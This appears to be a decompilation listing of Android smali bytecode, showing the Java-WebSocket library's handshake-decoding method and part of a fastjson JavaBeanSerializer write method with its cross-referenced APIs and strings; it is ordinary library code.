                                                7goto/16 :goto_3d
                                                8cond_a:
                                                9iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                11invoke-virtual {v0}, Ljava/nio/ByteBuffer;->remaining()I
                                                12move-result v0
                                                14invoke-virtual {p1}, Ljava/nio/ByteBuffer;->remaining()I
                                                15move-result v1
                                                16if-ge v0, v1, :cond_31
                                                18iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                20invoke-virtual {v0}, Ljava/nio/ByteBuffer;->capacity()I
                                                21move-result v0
                                                23invoke-virtual {p1}, Ljava/nio/ByteBuffer;->remaining()I
                                                24move-result v1
                                                25add-int/2addr v0, v1
                                                27invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
                                                28move-result-object v0
                                                30iget-object v1, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                32invoke-virtual {v1}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
                                                34iget-object v1, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                36invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                37iput-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                38cond_31:
                                                39iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                41invoke-virtual {v0, p1}, Ljava/nio/ByteBuffer;->put(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                43iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                45invoke-virtual {v0}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
                                                47iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                48goto_3d:
                                                49invoke-virtual {v0}, Ljava/nio/ByteBuffer;->mark()Ljava/nio/Buffer;
                                                50const/4 v1, 0x0
                                                51try_start_41:
                                                52iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->role:Lorg/java_websocket/enums/Role;
                                                54sget-object v3, Lorg/java_websocket/enums/Role;->SERVER:Lorg/java_websocket/enums/Role;
                                                55try_end_45:
                                                56const-string v4, "Closing due to protocol error: wrong http function"
                                                57const/4 v5, 0x1
                                                59const-string v6, "wrong http function"
                                                60const/16 v7, 0x3ea
                                                61if-ne v2, v3, :cond_112
                                                62try_start_4e:
                                                63iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                64if-nez v2, :cond_e2
                                                66iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->knownDrafts:Ljava/util/List;
                                                68invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                69move-result-object v2
                                                70cond_58:
                                                71invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                                72move-result v3
                                                73if-eqz v3, :cond_cc
                                                75invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                76move-result-object v3
                                                77check-cast v3, Lorg/java_websocket/drafts/Draft;
                                                79invoke-virtual {v3}, Lorg/java_websocket/drafts/Draft;->copyInstance()Lorg/java_websocket/drafts/Draft;
                                                80move-result-object v3
                                                81try_start_68:
                                                82iget-object v4, p0, Lorg/java_websocket/WebSocketImpl;->role:Lorg/java_websocket/enums/Role;
                                                84invoke-virtual {v3, v4}, Lorg/java_websocket/drafts/Draft;->setParseMode(Lorg/java_websocket/enums/Role;)V
                                                86invoke-virtual {v0}, Ljava/nio/ByteBuffer;->reset()Ljava/nio/Buffer;
                                                88invoke-virtual {v3, v0}, Lorg/java_websocket/drafts/Draft;->translateHandshake(Ljava/nio/ByteBuffer;)Lorg/java_websocket/handshake/Handshakedata;
                                                89move-result-object v4
                                                90instance-of v8, v4, Lorg/java_websocket/handshake/ClientHandshake;
                                                91if-nez v8, :cond_88
                                                93sget-object v3, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                95const-string v4, "Closing due to wrong handshake"
                                                97invoke-interface {v3, v4}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;)V
                                                98new-instance v3, Lorg/java_websocket/exceptions/InvalidDataException;
                                                100invoke-direct {v3, v7, v6}, Lorg/java_websocket/exceptions/InvalidDataException;-><init>(ILjava/lang/String;)V
                                                102invoke-direct {p0, v3}, Lorg/java_websocket/WebSocketImpl;->closeConnectionDueToWrongHandshake(Lorg/java_websocket/exceptions/InvalidDataException;)V
                                                103return v1
                                                104cond_88: check-cast v4, Lorg/java_websocket/handshake/ClientHandshake;
                                                106invoke-virtual {v3, v4}, Lorg/java_websocket/drafts/Draft;->acceptHandshakeAsServer(Lorg/java_websocket/handshake/ClientHandshake;)Lorg/java_websocket/enums/HandshakeState;
                                                107move-result-object v8
                                                109sget-object v9, Lorg/java_websocket/enums/HandshakeState;->MATCHED:Lorg/java_websocket/enums/HandshakeState;
                                                110if-ne v8, v9, :cond_58
                                                112invoke-interface {v4}, Lorg/java_websocket/handshake/ClientHandshake;->getResourceDescriptor()Ljava/lang/String;
                                                113move-result-object v8
                                                114iput-object v8, p0, Lorg/java_websocket/WebSocketImpl;->resourceDescriptor:Ljava/lang/String;
                                                115try_end_98:
                                                116iget-object v8, p0, Lorg/java_websocket/WebSocketImpl;->wsl:Lorg/java_websocket/WebSocketListener;
                                                118invoke-interface {v8, p0, v3, v4}, Lorg/java_websocket/WebSocketListener;->onWebsocketHandshakeReceivedAsServer(Lorg/java_websocket/WebSocket;Lorg/java_websocket/drafts/Draft;Lorg/java_websocket/handshake/ClientHandshake;)Lorg/java_websocket/handshake/ServerHandshakeBuilder;
                                                119move-result-object v8
                                                120try_start_9e:
                                                121invoke-virtual {v3, v4, v8}, Lorg/java_websocket/drafts/Draft;->postProcessHandshakeResponseAsServer(Lorg/java_websocket/handshake/ClientHandshake;Lorg/java_websocket/handshake/ServerHandshakeBuilder;)Lorg/java_websocket/handshake/HandshakeBuilder;
                                                122move-result-object v8
                                                124invoke-virtual {v3, v8}, Lorg/java_websocket/drafts/Draft;->createHandshake(Lorg/java_websocket/handshake/Handshakedata;)Ljava/util/List;
                                                125move-result-object v8
                                                127invoke-direct {p0, v8}, Lorg/java_websocket/WebSocketImpl;->write(Ljava/util/List;)V
                                                128iput-object v3, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                130invoke-direct {p0, v4}, Lorg/java_websocket/WebSocketImpl;->open(Lorg/java_websocket/handshake/Handshakedata;)V
                                                131return v5
                                                132catch_af: move-exception v3
                                                134sget-object v4, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                136const-string v8, "Closing due to internal server error"
                                                138invoke-interface {v4, v8, v3}, Lorg/slf4j/Logger;->error(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                140iget-object v4, p0, Lorg/java_websocket/WebSocketImpl;->wsl:Lorg/java_websocket/WebSocketListener;
                                                142invoke-interface {v4, p0, v3}, Lorg/java_websocket/WebSocketListener;->onWebsocketError(Lorg/java_websocket/WebSocket;Ljava/lang/Exception;)V
                                                144invoke-direct {p0, v3}, Lorg/java_websocket/WebSocketImpl;->closeConnectionDueToInternalServerError(Ljava/lang/RuntimeException;)V
                                                145return v1
                                                146catch_c0: move-exception v3
                                                148sget-object v4, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                150const-string v8, "Closing due to wrong handshake. Possible handshake rejection"
                                                152invoke-interface {v4, v8, v3}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                154invoke-direct {p0, v3}, Lorg/java_websocket/WebSocketImpl;->closeConnectionDueToWrongHandshake(Lorg/java_websocket/exceptions/InvalidDataException;)V
                                                155try_end_cb: return v1
                                                156cond_cc:
                                                157iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                158if-nez v2, :cond_e1
                                                160sget-object v2, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                162const-string v3, "Closing due to protocol error: no draft matches"
                                                164invoke-interface {v2, v3}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;)V
                                                165new-instance v2, Lorg/java_websocket/exceptions/InvalidDataException;
                                                167const-string v3, "no draft matches"
                                                169invoke-direct {v2, v7, v3}, Lorg/java_websocket/exceptions/InvalidDataException;-><init>(ILjava/lang/String;)V
                                                171invoke-direct {p0, v2}, Lorg/java_websocket/WebSocketImpl;->closeConnectionDueToWrongHandshake(Lorg/java_websocket/exceptions/InvalidDataException;)V
                                                172cond_e1: return v1
                                                173cond_e2:
                                                174iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                176invoke-virtual {v2, v0}, Lorg/java_websocket/drafts/Draft;->translateHandshake(Ljava/nio/ByteBuffer;)Lorg/java_websocket/handshake/Handshakedata;
                                                177move-result-object v2
                                                178instance-of v3, v2, Lorg/java_websocket/handshake/ClientHandshake;
                                                179if-nez v3, :cond_f5
                                                181sget-object v2, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                183invoke-interface {v2, v4}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;)V
                                                185invoke-virtual {p0, v7, v6, v1}, Lorg/java_websocket/WebSocketImpl;->flushAndClose(ILjava/lang/String;Z)V
                                                186return v1
                                                187cond_f5: check-cast v2, Lorg/java_websocket/handshake/ClientHandshake;
                                                189iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                191invoke-virtual {v3, v2}, Lorg/java_websocket/drafts/Draft;->acceptHandshakeAsServer(Lorg/java_websocket/handshake/ClientHandshake;)Lorg/java_websocket/enums/HandshakeState;
                                                192move-result-object v3
                                                194sget-object v4, Lorg/java_websocket/enums/HandshakeState;->MATCHED:Lorg/java_websocket/enums/HandshakeState;
                                                195if-ne v3, v4, :cond_105
                                                197invoke-direct {p0, v2}, Lorg/java_websocket/WebSocketImpl;->open(Lorg/java_websocket/handshake/Handshakedata;)V
                                                198return v5
                                                199cond_105:
                                                200sget-object v2, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                202const-string v3, "Closing due to protocol error: the handshake did finally not match"
                                                204invoke-interface {v2, v3}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;)V
                                                206const-string v2, "the handshake did finally not match"
                                                208invoke-virtual {p0, v7, v2}, Lorg/java_websocket/WebSocketImpl;->close(ILjava/lang/String;)V
                                                209return v1
                                                210cond_112:
                                                211iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->role:Lorg/java_websocket/enums/Role;
                                                213sget-object v3, Lorg/java_websocket/enums/Role;->CLIENT:Lorg/java_websocket/enums/Role;
                                                214if-ne v2, v3, :cond_1dd
                                                216iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                218iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->role:Lorg/java_websocket/enums/Role;
                                                220invoke-virtual {v2, v3}, Lorg/java_websocket/drafts/Draft;->setParseMode(Lorg/java_websocket/enums/Role;)V
                                                222iget-object v2, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                224invoke-virtual {v2, v0}, Lorg/java_websocket/drafts/Draft;->translateHandshake(Ljava/nio/ByteBuffer;)Lorg/java_websocket/handshake/Handshakedata;
                                                225move-result-object v2
                                                226instance-of v3, v2, Lorg/java_websocket/handshake/ServerHandshake;
                                                227if-nez v3, :cond_132
                                                229sget-object v2, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                231invoke-interface {v2, v4}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;)V
                                                233invoke-virtual {p0, v7, v6, v1}, Lorg/java_websocket/WebSocketImpl;->flushAndClose(ILjava/lang/String;Z)V
                                                234return v1
                                                235cond_132: check-cast v2, Lorg/java_websocket/handshake/ServerHandshake;
                                                237iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                239iget-object v4, p0, Lorg/java_websocket/WebSocketImpl;->handshakerequest:Lorg/java_websocket/handshake/ClientHandshake;
                                                241invoke-virtual {v3, v4, v2}, Lorg/java_websocket/drafts/Draft;->acceptHandshakeAsClient(Lorg/java_websocket/handshake/ClientHandshake;Lorg/java_websocket/handshake/ServerHandshake;)Lorg/java_websocket/enums/HandshakeState;
                                                242move-result-object v3
                                                244sget-object v4, Lorg/java_websocket/enums/HandshakeState;->MATCHED:Lorg/java_websocket/enums/HandshakeState;
                                                245try_end_13e: if-ne v3, v4, :cond_175
                                                246try_start_140:
                                                247iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->wsl:Lorg/java_websocket/WebSocketListener;
                                                249iget-object v4, p0, Lorg/java_websocket/WebSocketImpl;->handshakerequest:Lorg/java_websocket/handshake/ClientHandshake;
                                                251invoke-interface {v3, p0, v4, v2}, Lorg/java_websocket/WebSocketListener;->onWebsocketHandshakeReceivedAsClient(Lorg/java_websocket/WebSocket;Lorg/java_websocket/handshake/ClientHandshake;Lorg/java_websocket/handshake/ServerHandshake;)V
                                                252try_start_147:
                                                253invoke-direct {p0, v2}, Lorg/java_websocket/WebSocketImpl;->open(Lorg/java_websocket/handshake/Handshakedata;)V
                                                254return v5
                                                255catch_14b: move-exception v2
                                                257sget-object v3, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                259const-string v4, "Closing since client was never connected"
                                                261invoke-interface {v3, v4, v2}, Lorg/slf4j/Logger;->error(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                263iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->wsl:Lorg/java_websocket/WebSocketListener;
                                                265invoke-interface {v3, p0, v2}, Lorg/java_websocket/WebSocketListener;->onWebsocketError(Lorg/java_websocket/WebSocket;Ljava/lang/Exception;)V
                                                266const/4 v3, -0x1
                                                268invoke-virtual {v2}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
                                                269move-result-object v2
                                                271invoke-virtual {p0, v3, v2, v1}, Lorg/java_websocket/WebSocketImpl;->flushAndClose(ILjava/lang/String;Z)V
                                                272return v1
                                                273catch_161: move-exception v2
                                                275sget-object v3, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                277const-string v4, "Closing due to invalid data exception. Possible handshake rejection"
                                                279invoke-interface {v3, v4, v2}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                281invoke-virtual {v2}, Lorg/java_websocket/exceptions/InvalidDataException;->getCloseCode()I
                                                282move-result v3
                                                284invoke-virtual {v2}, Lorg/java_websocket/exceptions/InvalidDataException;->getMessage()Ljava/lang/String;
                                                285move-result-object v2
                                                287invoke-virtual {p0, v3, v2, v1}, Lorg/java_websocket/WebSocketImpl;->flushAndClose(ILjava/lang/String;Z)V
                                                288return v1
                                                289cond_175:
                                                290sget-object v2, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                292const-string v3, "Closing due to protocol error: draft {} refuses handshake"
                                                294iget-object v4, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                296invoke-interface {v2, v3, v4}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;Ljava/lang/Object;)V
                                                297new-instance v2, Ljava/lang/StringBuilder;
                                                299invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                301const-string v3, "draft "
                                                303invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                305iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->draft:Lorg/java_websocket/drafts/Draft;
                                                307invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                309const-string v3, " refuses handshake"
                                                311invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                313invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                314move-result-object v2
                                                316invoke-virtual {p0, v7, v2}, Lorg/java_websocket/WebSocketImpl;->close(ILjava/lang/String;)V
                                                317try_end_199: goto/16 :goto_1dd
                                                318catch_19a: move-exception v2
                                                319goto/16 :goto_1a8
                                                320catch_19c: move-exception v2
                                                321try_start_19d:
                                                322sget-object v3, Lorg/java_websocket/WebSocketImpl;->log:Lorg/slf4j/Logger;
                                                324const-string v4, "Closing due to invalid handshake"
                                                326invoke-interface {v3, v4, v2}, Lorg/slf4j/Logger;->trace(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                328invoke-virtual {p0, v2}, Lorg/java_websocket/WebSocketImpl;->close(Lorg/java_websocket/exceptions/InvalidDataException;)V
                                                329try_end_1a7: goto/16 :goto_1dd
                                                330goto_1a8:
                                                331iget-object v3, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                333invoke-virtual {v3}, Ljava/nio/ByteBuffer;->capacity()I
                                                334move-result v3
                                                335if-nez v3, :cond_1cb
                                                337invoke-virtual {v0}, Ljava/nio/ByteBuffer;->reset()Ljava/nio/Buffer;
                                                339invoke-virtual {v2}, Lorg/java_websocket/exceptions/IncompleteHandshakeException;->getPreferredSize()I
                                                340move-result v2
                                                341if-nez v2, :cond_1bf
                                                343invoke-virtual {v0}, Ljava/nio/ByteBuffer;->capacity()I
                                                344move-result v0
                                                345add-int/lit8 v2, v0, 0x10
                                                346cond_1bf:
                                                347invoke-static {v2}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
                                                348move-result-object v0
                                                349iput-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                351iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                353invoke-virtual {v0, p1}, Ljava/nio/ByteBuffer;->put(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                354goto/16 :goto_1dd
                                                355cond_1cb:
                                                356iget-object p1, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                358invoke-virtual {p1}, Ljava/nio/ByteBuffer;->limit()I
                                                359move-result v0
                                                361invoke-virtual {p1, v0}, Ljava/nio/ByteBuffer;->position(I)Ljava/nio/Buffer;
                                                363iget-object p1, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                365invoke-virtual {p1}, Ljava/nio/ByteBuffer;->capacity()I
                                                366move-result v0
                                                368invoke-virtual {p1, v0}, Ljava/nio/ByteBuffer;->limit(I)Ljava/nio/Buffer;
                                                369goto_1dd: return v1
                                                Cross References
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Object.getClass
                                                • com.alibaba.fastjson.serializer.SerializerFeature.SkipTransientField:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.IgnoreNonFieldGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Byte.byteValue
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Short.shortValue
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.intValue
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Long.longValue
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Float.floatValue
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Double.doubleValue
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.booleanValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldName
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeString
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeStringWithSingleQuote
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeStringWithDoubleQuote
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Exception.getMessage
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.Exception.getMessage
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • write javaBean error
                                                • , class
                                                • , fieldName :
                                                • ,
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/io/IOException;
                                                3}
                                                4.end annotation
                                                5move-object/from16 v7, p0
                                                6move-object/from16 v8, p1
                                                7move-object/from16 v9, p2
                                                8move-object/from16 v10, p3
                                                9move-object/from16 v0, p4
                                                10move/from16 v11, p5
                                                12iget-object v12, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->out:Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                13if-nez v9, :cond_14
                                                15invoke-virtual {v12}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                16return-void
                                                17cond_14:
                                                18invoke-virtual {v7, v8, v9, v11}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->writeReference(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;I)Z
                                                19move-result v1
                                                20if-eqz v1, :cond_1b
                                                21return-void
                                                22cond_1b: iget-boolean v1, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->sortField:Z
                                                23if-eqz v1, :cond_22
                                                25iget-object v1, v7, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->sortedGetters:[Lcom/alibaba/fastjson/serializer/FieldSerializer;
                                                26goto/16 :goto_24
                                                27cond_22:
                                                28iget-object v1, v7, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->getters:[Lcom/alibaba/fastjson/serializer/FieldSerializer;
                                                29goto_24: move-object v13, v1
                                                31iget-object v14, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                33iget-object v1, v7, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->beanInfo:Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                34iget v5, v1, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                35move-object/from16 v1, p1
                                                36move-object v2, v14
                                                37move-object/from16 v3, p2
                                                38move-object/from16 v4, p3
                                                39move/from16 v6, p5
                                                41invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->setContext(Lcom/alibaba/fastjson/serializer/SerialContext;Ljava/lang/Object;Ljava/lang/Object;II)V
                                                43invoke-virtual {v7, v8, v11}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->isWriteAsArray(Lcom/alibaba/fastjson/serializer/JSONSerializer;I)Z
                                                44move-result v11
                                                45if-eqz v11, :cond_40
                                                46const/16 v1, 0x5b
                                                47goto/16 :goto_42
                                                48cond_40: const/16 v1, 0x7b
                                                49goto_42: if-eqz v11, :cond_49
                                                50const/16 v2, 0x5d
                                                51const/16 v15, 0x5d
                                                52goto/16 :goto_4d
                                                53cond_49: const/16 v2, 0x7d
                                                54const/16 v15, 0x7d
                                                55goto_4d:
                                                56invoke-virtual {v12, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(C)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                57array-length v1, v13
                                                58if-lez v1, :cond_61
                                                60sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                62invoke-virtual {v12, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                63move-result v1
                                                64if-eqz v1, :cond_61
                                                66invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->incrementIndent()V
                                                68invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->println()V
                                                69cond_61:
                                                70iget-object v1, v7, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->beanInfo:Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                71iget v1, v1, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                73sget-object v2, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                74iget v2, v2, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                75and-int/2addr v1, v2
                                                76const/4 v6, 0x1
                                                77if-nez v1, :cond_73
                                                79invoke-virtual {v8, v0, v9}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->isWriteClassName(Ljava/lang/reflect/Type;Ljava/lang/Object;)Z
                                                80move-result v1
                                                81if-eqz v1, :cond_7e
                                                82cond_73:
                                                83invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                84move-result-object v1
                                                85if-eq v1, v0, :cond_7e
                                                87invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->writeClassName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;)V
                                                88const/4 v0, 0x1
                                                89goto/16 :goto_7f
                                                90cond_7e: const/4 v0, 0x0
                                                91goto_7f: const/16 v4, 0x2c
                                                92if-eqz v0, :cond_86
                                                93const/16 v0, 0x2c
                                                94goto/16 :goto_87
                                                95cond_86: const/4 v0, 0x0
                                                96goto_87: iget-boolean v1, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->quoteFieldNames:Z
                                                97if-eqz v1, :cond_92
                                                98iget-boolean v1, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->useSingleQuotes:Z
                                                99if-nez v1, :cond_92
                                                100const/16 v16, 0x1
                                                101goto/16 :goto_94
                                                102cond_92: const/16 v16, 0x0
                                                103goto_94:
                                                104invoke-virtual {v7, v8, v9, v0}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->writeBefore(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;C)C
                                                105move-result v0
                                                106if-ne v0, v4, :cond_9c
                                                107const/4 v0, 0x1
                                                108goto/16 :goto_9d
                                                109cond_9c: const/4 v0, 0x0
                                                110goto_9d:
                                                111sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->SkipTransientField:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                113invoke-virtual {v12, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                114move-result v17
